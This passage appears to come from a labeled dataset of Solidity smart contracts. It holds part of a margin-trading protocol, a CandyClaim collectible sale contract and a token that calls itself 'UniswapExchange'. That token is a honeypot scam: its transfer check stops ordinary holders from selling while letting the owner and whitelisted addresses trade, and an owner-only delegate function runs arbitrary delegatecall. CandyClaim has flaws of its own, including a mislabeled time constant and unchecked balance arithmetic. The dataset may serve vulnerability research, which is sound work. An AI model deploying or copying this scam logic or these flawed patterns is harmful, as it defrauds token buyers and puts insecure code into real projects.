require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
interface ExchangeReader {
function getMaxMakerAmount(
address makerToken,
address takerToken,
bytes orderData
)
external
view
returns (uint256);
}
contract AuctionProxy
{
using TokenInteract for address;
using SafeMath for uint256;
struct Position {
address heldToken;
address owedToken;
address owner;
uint256 principal;
uint256 owedTokenOwed;
}
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
function closePosition(
bytes32 positionId,
uint256 minCloseAmount,
address dutchAuction,
address exchangeWrapper,
bytes orderData
)
external
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
if (!margin.containsPosition(positionId)) {
return 0;
}
Position memory position = parsePosition(margin, positionId);
uint256 maxCloseAmount = getMaxCloseAmount(position, exchangeWrapper, orderData);
if (maxCloseAmount == 0) {
return 0;
}
if (maxCloseAmount < minCloseAmount) {
return 0;
}
margin.closePosition(
positionId,
maxCloseAmount,
dutchAuction,
exchangeWrapper,
true,
orderData
);
uint256 heldTokenAmount = position.heldToken.balanceOf(address(this));
position.heldToken.transfer(position.owner, heldTokenAmount);
return maxCloseAmount;
}
function parsePosition (
Margin margin,
bytes32 positionId
)
private
view
returns (Position memory)
{
Position memory position;
position.heldToken = margin.getPositionHeldToken(positionId);
position.owedToken = margin.getPositionOwedToken(positionId);
position.owner = margin.getPositionOwner(positionId);
position.principal = margin.getPositionPrincipal(positionId);
position.owedTokenOwed = margin.getPositionOwedAmount(positionId);
return position;
}
function getMaxCloseAmount(
Position memory position,
address exchangeWrapper,
bytes orderData
)
private
view
returns (uint256)
{
uint256 makerTokenAmount = ExchangeReader(exchangeWrapper).getMaxMakerAmount(
position.owedToken,
position.heldToken,
orderData
);
uint256 closeAmount = MathHelpers.getPartialAmount(
position.principal,
position.owedTokenOwed,
makerTokenAmount
);
return closeAmount;
}
} | 1 | 4,304 |
pragma solidity ^0.4.18;
contract CandyClaim {
uint256 private fiveHoursInSeconds = 3600;
string public constant NAME = "CandyClaims";
string public constant SYMBOL = "CandyClaim";
mapping (address => uint256) private ownerCount;
address public ceoAddress;
address public cooAddress;
struct Candy {
address owner;
uint256 price;
uint256 last_transaction;
address approve_transfer_to;
}
uint candy_count;
mapping (string => Candy) candies;
modifier onlyCEO() { require(msg.sender == ceoAddress); _; }
modifier onlyCOO() { require(msg.sender == cooAddress); _; }
modifier onlyCXX() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; }
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) { return SYMBOL; }
function name() public pure returns (string) { return NAME; }
function implementsERC721() public pure returns (bool) { return true; }
function CandyClaim() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function createCandy(string _candy_id, uint256 _price) public onlyCXX {
require(msg.sender != address(0));
_create_candy(_candy_id, address(this), _price);
}
function totalSupply() public view returns (uint256 total) {
return candy_count;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerCount[_owner];
}
function priceOf(string _candy_id) public view returns (uint256 price) {
return candies[_candy_id].price;
}
function getCandy(string _candy_id) public view returns (
string id,
address owner,
uint256 price,
uint256 last_transaction
) {
id = _candy_id;
owner = candies[_candy_id].owner;
price = candies[_candy_id].price;
last_transaction = candies[_candy_id].last_transaction;
}
function purchase(string _candy_id) public payable {
Candy storage candy = candies[_candy_id];
require(candy.owner != msg.sender);
require(msg.sender != address(0));
uint256 time_diff = (block.timestamp - candy.last_transaction);
while(time_diff >= fiveHoursInSeconds){
time_diff = (time_diff - fiveHoursInSeconds);
candy.price = SafeMath.mul(SafeMath.div(candy.price, 100), 90);
}
if(candy.price < 1000000000000000){ candy.price = 1000000000000000; }
require(msg.value >= candy.price);
uint256 excess = SafeMath.sub(msg.value, candy.price);
if(candy.owner == address(this)){
ceoAddress.transfer(candy.price);
} else {
ceoAddress.transfer(uint256(SafeMath.mul(SafeMath.div(candy.price, 100), 10)));
candy.owner.transfer(uint256(SafeMath.mul(SafeMath.div(candy.price, 100), 90)));
}
candy.price = SafeMath.mul(SafeMath.div(candy.price, 100), 160);
candy.owner = msg.sender;
candy.last_transaction = block.timestamp;
msg.sender.transfer(excess);
}
function payout() public onlyCEO {
ceoAddress.transfer(this.balance);
}
function _create_candy(string _candy_id, address _owner, uint256 _price) private {
candy_count++;
candies[_candy_id] = Candy({
owner: _owner,
price: _price,
last_transaction: block.timestamp,
approve_transfer_to: address(0)
});
}
function _transfer(address _from, address _to, string _candy_id) private {
candies[_candy_id].owner = _to;
candies[_candy_id].approve_transfer_to = address(0);
ownerCount[_from] -= 1;
ownerCount[_to] += 1;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,817 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
